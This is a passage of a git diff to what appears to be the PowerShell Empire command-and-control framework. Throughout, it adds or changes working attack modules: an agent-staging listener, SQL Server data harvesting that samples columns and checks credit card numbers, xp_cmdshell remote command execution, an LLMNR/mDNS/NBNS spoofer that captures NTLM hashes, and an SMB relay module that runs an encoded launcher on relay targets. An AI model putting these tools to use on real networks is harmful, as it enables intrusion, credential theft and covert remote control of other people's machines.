sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') + hopListenerName = request.headers.get('Hop-Name') + try: + hopListener = helpers.get_listener_options(hopListenerName) + tempListenerOptions = copy.deepcopy(listenerOptions) + tempListenerOptions['Host']['Value'] = hopListener['Host']['Value'] + except TypeError: + tempListenerOptions = listenerOptions + # step 6 of negotiation -> server sends patched agent.ps1/agent.py - agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) + agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) # TODO: wrap ^ in a routing packet? diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index d0452fc..96683ab 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -98,7 +98,7 @@ class Listener: 'Value' : '' }, 'ServerVersion' : { - 'Description' : 'TServer header for the control server.', + 'Description' : 'Server header for the control server.', 'Required' : True, 'Value' : 'Microsoft-IIS/7.5' } @@ -175,6 +175,17 @@ class Listener: # TODO: reimplement stager retries? + #check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions['BindIP']['Value'] + port = listenerOptions['Port']['Value'] + if ':' in bindIP: + if "http" in host: + if "https" in host: + host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) + else: + host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) + # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) @@ -463,6 +474,15 @@ class Listener: return response + @app.after_request + def add_proxy_headers(response): + "Add HTTP headers to avoid proxy caching." + response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate" + response.headers['Pragma'] = "no-cache" + response.headers['Expires'] = "0" + return response + + @app.route('/', methods=['GET']) def handle_get(request_uri): """ diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index e0348c4..36f37f7 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -445,6 +445,7 @@ def send_message(packets=None): f.close() hopCode = hopCode.replace('REPLACE_SERVER', redirectHost) + hopCode = hopCode.replace('REPLACE_HOP_NAME', self.options['Name']['Value']) saveFolder = self.options['OutFolder']['Value'] for uri in uris: @@ -473,4 +474,4 @@ def send_message(packets=None): """ Nothing to actually shut down for a hop listner. """ - pass \ No newline at end of file + pass diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py new file mode 100644 index 0000000..cb73c07 --- /dev/null +++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py @@ -0,0 +1,111 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLColumnSampleData', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns column information from target SQL Servers. Supports ' + 'search by keywords, sampling data, and validating credit card ' + 'numbers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'NoDefaults' : { + 'Description' : 'Don\'t select tables from default databases.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + no_defaults = self.options['NoDefaults']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | " + script += " Get-SQLColumnSampleData" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "" and not check_all: + script += " -Instance "+instance + if no_defaults: + script += " -NoDefaults " + return script diff --git a/lib/modules/powershell/collection/get_sql_query.py b/lib/modules/powershell/collection/get_sql_query.py new file mode 100644 index 0000000..551cc2a --- /dev/null +++ b/lib/modules/powershell/collection/get_sql_query.py @@ -0,0 +1,89 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLQuery', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Executes a query on target SQL servers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'Query' : { + 'Description' : 'Query to be executed on the SQL Server.', + 'Required' : True, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + query = self.options['Query']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script += " Get-SQLQuery" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "": + script += " -Instance "+instance + script += " -Query "+"\'"+query+"\'" + + return script diff --git a/lib/modules/powershell/collection/inveigh.py b/lib/modules/powershell/collection/inveigh.py index b0f3a0a..828d8ef 100644 --- a/lib/modules/powershell/collection/inveigh.py +++ b/lib/modules/powershell/collection/inveigh.py @@ -9,16 +9,18 @@ class Module: 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'), + 'Description': ('Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note ' + 'that this module exposes only a subset of Inveigh\'s parameters. Inveigh can be used ' + 'through Empire\'s scriptimport and scriptcmd if additional parameters are needed.'), 'Background' : True, 'OutputExtension' : None, - 'NeedsAdmin' : True, + 'NeedsAdmin' : False, 'OpsecSafe' : True, - + 'Language' : 'powershell', 'MinLanguageVersion' : '2', @@ -37,141 +39,152 @@ class Module: 'Required' : True, 'Value' : '' }, - 'IP' : { - 'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.', + 'ConsoleOutput' : { + 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.', 'Required' : False, 'Value' : '' }, - 'SpooferIP' : { - 'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferHostsReply' : { - 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferHostsIgnore' : { - 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferIPsReply' : { - 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferIPsIgnore' : { - 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferRepeat' : { - 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'LLMNR' : { - 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'LLMNRTTL' : { - 'Description' : 'Custom LLMNR TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'NBNS' : { - 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'NBNSTTL' : { - 'Description' : 'Custom NBNS TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'NBNSTypes' : { - 'Description' : 'Comma separated list of NBNS types to spoof.', - 'Required' : False, - 'Value' : '00,20' - }, - 'HTTP' : { - 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'HTTPAuth' : { - 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'HTTPBasicRealm' : { - 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', - 'Required' : False, - 'Value' : 'IIS' - }, - 'HTTPResponse' : { - 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : False, - 'Value' : '' - }, - 'WPADAuth' : { - 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'WPADEmptyFile' : { - 'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'WPADIP' : { - 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', - 'Required' : False, - 'Value' : '' - }, - 'WPADPort' : { - 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', - 'Required' : False, - 'Value' : '' - }, - 'WPADDirectHosts' : { - 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', - 'Required' : False, - 'Value' : '' - }, - 'SMB' : { - 'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'Challenge' : { - 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', - 'Required' : False, - 'Value' : '' - }, - 'MachineAccounts' : { - 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', - 'Required' : False, - 'Value' : 'N' - }, 'ConsoleStatus' : { - 'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)', + 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.', 'Required' : False, 'Value' : '' }, 'ConsoleUnique' : { - 'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', + 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', 'Required' : False, - 'Value' : 'Y' + 'Value' : '' }, - 'RunTime' : { + 'ElevatedPrivilege' : { + 'Description' : '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPAuth' : { + 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat requests.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPContentType' : { + 'Description' : 'Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPResponse' : { + 'Description' : 'Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests. Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this module.', + 'Required' : False, + 'Value' : '' + }, + 'Inspect' : { + 'Description' : '(Switch) Inspect LLMNR, mDNS, and NBNS traffic only.', + 'Required' : False, + 'Value' : '' + }, + 'IP' : { + 'Description' : 'Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.', + 'Required' : False, + 'Value' : '' + }, + 'LLMNR' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable LLMNR spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'mDNS' : { + 'Description' : '(Y/N) Enable/Disable mDNS spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'mDNSTypes' : { + 'Description' : '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251.', + 'Required' : False, + 'Value' : '' + }, + 'NBNS' : { + 'Description' : '(Y/N) Enable/Disable NBNS spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'NBNSTypes' : { + 'Description' : 'Default = 00,20: Comma separated list of NBNS types to spoof.', + 'Required' : False, + 'Value' : '' + }, + 'Proxy' : { + 'Description' : '(Y/N) Enable/Disable Inveigh\'s proxy server authentication capture.', + 'Required' : False, + 'Value' : '' + }, + 'ProxyPort' : { + 'Description' : 'Default = 8492: TCP port for the Inveigh\'s proxy listener.', + 'Required' : False, + 'Value' : '' + }, + 'RunCount' : { + 'Description' : 'Number of NTLMv1/NTLMv2 captures to perform before auto-exiting.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { 'Description' : 'Run time duration in minutes.', + 'Required' : True, + 'Value' : '' + }, + 'SMB' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable SMB challenge/response capture.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIP' : { + 'Description' : 'Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsIgnore' : { + 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsReply' : { + 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsIgnore' : { + 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsReply' : { + 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferLearning' : { + 'Description' : '(Y/N) Enable/Disable LLMNR/NBNS valid host learning.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferLearningDelay' : { + 'Description' : 'Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferRepeat' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.', 'Required' : False, 'Value' : '' } + } # save off a copy of the mainMenu object to access external functionality @@ -204,7 +217,7 @@ class Module: script = moduleCode # set defaults for Empire - scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2" ' + scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2"' for option,values in self.options.iteritems(): if option.lower() != "agent": diff --git a/lib/modules/powershell/collection/inveigh_bruteforce.py b/lib/modules/powershell/collection/inveigh_bruteforce.py deleted file mode 100644 index 6a2b94b..0000000 --- a/lib/modules/powershell/collection/inveigh_bruteforce.py +++ /dev/null @@ -1,181 +0,0 @@ -from lib.common import helpers - -class Module: - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'Invoke-InveighBruteForce', - - 'Author': ['Kevin Robertson'], - - 'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. ' - 'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS ' - 'spoofing without an elevated administrator or SYSTEM shell.'), - - 'Background' : True, - - 'OutputExtension' : None, - - 'NeedsAdmin' : False, - - 'OpsecSafe' : True, - - 'Language' : 'powershell', - - 'MinLanguageVersion' : '2', - - 'Comments': [ - 'https://github.com/Kevin-Robertson/Inveigh' - ] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' - }, - 'SpooferIP' : { - 'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferTarget' : { - 'Description' : 'IP address to target for brute force NBNS spoofing.', - 'Required' : True, - 'Value' : '' - }, - 'Hostname' : { - 'Description' : 'Hostname to spoof with NBNS spoofing.', - 'Required' : False, - 'Value' : 'WPAD' - }, - 'NBNS' : { - 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'NBNSPause' : { - 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.', - 'Required' : False, - 'Value' : '' - }, - 'NBNSTTL' : { - 'Description' : 'Custom NBNS TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'HTTP' : { - 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'HTTPAuth' : { - 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'HTTPBasicRealm' : { - 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', - 'Required' : False, - 'Value' : 'IIS' - }, - 'HTTPResponse' : { - 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : False, - 'Value' : '' - }, - 'WPADAuth' : { - 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'WPADIP' : { - 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', - 'Required' : False, - 'Value' : '' - }, - 'WPADPort' : { - 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', - 'Required' : False, - 'Value' : '' - }, - 'WPADDirectHosts' : { - 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', - 'Required' : False, - 'Value' : '' - }, - 'Challenge' : { - 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', - 'Required' : False, - 'Value' : '' - }, - 'MachineAccounts' : { - 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', - 'Required' : False, - 'Value' : 'N' - }, - 'RunCount' : { - 'Description' : 'Number of captures to perform before auto-exiting.', - 'Required' : False, - 'Value' : '' - }, - 'RunTime' : { - 'Description' : 'Run time duration in minutes.', - 'Required' : False, - 'Value' : '' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self, obfuscate=False, obfuscationCommand=""): - - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1" - if obfuscate: - helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) - moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") - try: - f = open(moduleSource, 'r') - except: - print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) - return "" - - moduleCode = f.read() - f.close() - - script = moduleCode - - # set defaults for Empire - scriptEnd = "\n" + 'Invoke-InveighBruteForce -Tool "2" ' - - for option,values in self.options.iteritems(): - if option.lower() != "agent": - if values['Value'] and values['Value'] != '': - if values['Value'].lower() == "true": - # if we're just adding a switch - scriptEnd += " -" + str(option) - else: - if "," in str(values['Value']): - quoted = '"' + str(values['Value']).replace(',', '","') + '"' - scriptEnd += " -" + str(option) + " " + quoted - else: - scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" - if obfuscate: - scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) - script += scriptEnd - return script diff --git a/lib/modules/powershell/lateral_movement/inveigh_relay.py b/lib/modules/powershell/lateral_movement/inveigh_relay.py index f1314b4..396aa44 100644 --- a/lib/modules/powershell/lateral_movement/inveigh_relay.py +++ b/lib/modules/powershell/lateral_movement/inveigh_relay.py @@ -9,18 +9,20 @@ class Module: 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay ' - 'incoming HTTP NTLMv2 authentication requests to an SMB target. ' - 'If the authentication is successfully relayed and the account is ' - 'a local administrator, a specified command will be executed on the ' - 'target PSExec style. This module works best while also running ' - 'collection/inveigh with HTTP disabled.'), + 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming ' + 'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the ' + 'authentication is successfully relayed and the account has the correct ' + 'privilege, a specified command or Empire launcher will be executed on the ' + 'target PSExec style. This module works best while also running collection/inveigh ' + 'with HTTP disabled. Note that this module exposes only a subset of Inveigh ' + 'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport ' + 'and scriptcmd if additional parameters are needed.'), 'Background' : True, 'OutputExtension' : None, - 'NeedsAdmin' : True, + 'NeedsAdmin' : False, 'OpsecSafe' : False, @@ -38,35 +40,96 @@ class Module: # format: # value_name : {description, required, default_value} 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' }, - 'SMBRelayTarget' : { - 'Description' : 'IP address of system to target for SMB relay.', - 'Required' : True, - 'Value' : '' + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' }, - 'SMBRelayCommand' : { - 'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : True, - 'Value' : '' + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'SMBRelayUsernames' : { - 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', - 'Required' : False, - 'Value' : '' + 'Proxy_' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'SMBRelayAutoDisable' : { - 'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).', - 'Required' : False, - 'Value' : 'Y' + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'RunTime' : { - 'Description' : 'Run time duration in minutes.', - 'Required' : False, - 'Value' : '' + 'Command' : { + 'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleOutput' : { + 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleStatus' : { + 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleUnique' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.', + 'Required' : False, + 'Value' : '' + }, + 'Proxy' : { + 'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.', + 'Required' : False, + 'Value' : '' + }, + 'ProxyPort' : { + 'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : True, + 'Value' : '' + }, + 'Service' : { + 'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.', + 'Required' : False, + 'Value' : '' + }, + 'SMB1' : { + 'Description' : '(Switch) Force SMB1.', + 'Required' : False, + 'Value' : '' + }, + 'Target' : { + 'Description' : 'IP address or hostname of system to target for relay.', + 'Required' : True, + 'Value' : '' + }, + 'Usernames' : { + 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.', + 'Required' : False, + 'Value' : '' } + } # save off a copy of the mainMenu object to access external functionality @@ -82,6 +145,12 @@ class Module: def generate(self, obfuscate=False, obfuscationCommand=""): + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy_']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + command = self.options['Command']['Value'] + # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1" if obfuscate: @@ -98,11 +167,21 @@ class Module: script = moduleCode + if command == "": + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + + # generate the PowerShell one-liner with all of the proper options set + command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) # set defaults for Empire - scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" ' - - for option,values in self.options.iteritems(): - if option.lower() != "agent": + scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command) + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch diff --git a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py new file mode 100644 index 0000000..8478b8d --- /dev/null +++ b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -0,0 +1,131 @@ +from lib.common import helpers +class Module: + def __init__(self, mainMenu, params=[]): + self.info = { + 'Name': 'Invoke-SQLOSCMD', + 'Author': ['@nullbind', '@0xbadjuju'], + 'Description': ('Executes a command or stager on remote hosts using xp_cmdshell.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [] + } + self.options = { + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'CredID' : { + 'Description' : 'CredID from the store to use.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'Host[s] to execute the stager on, comma separated.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' + }, + 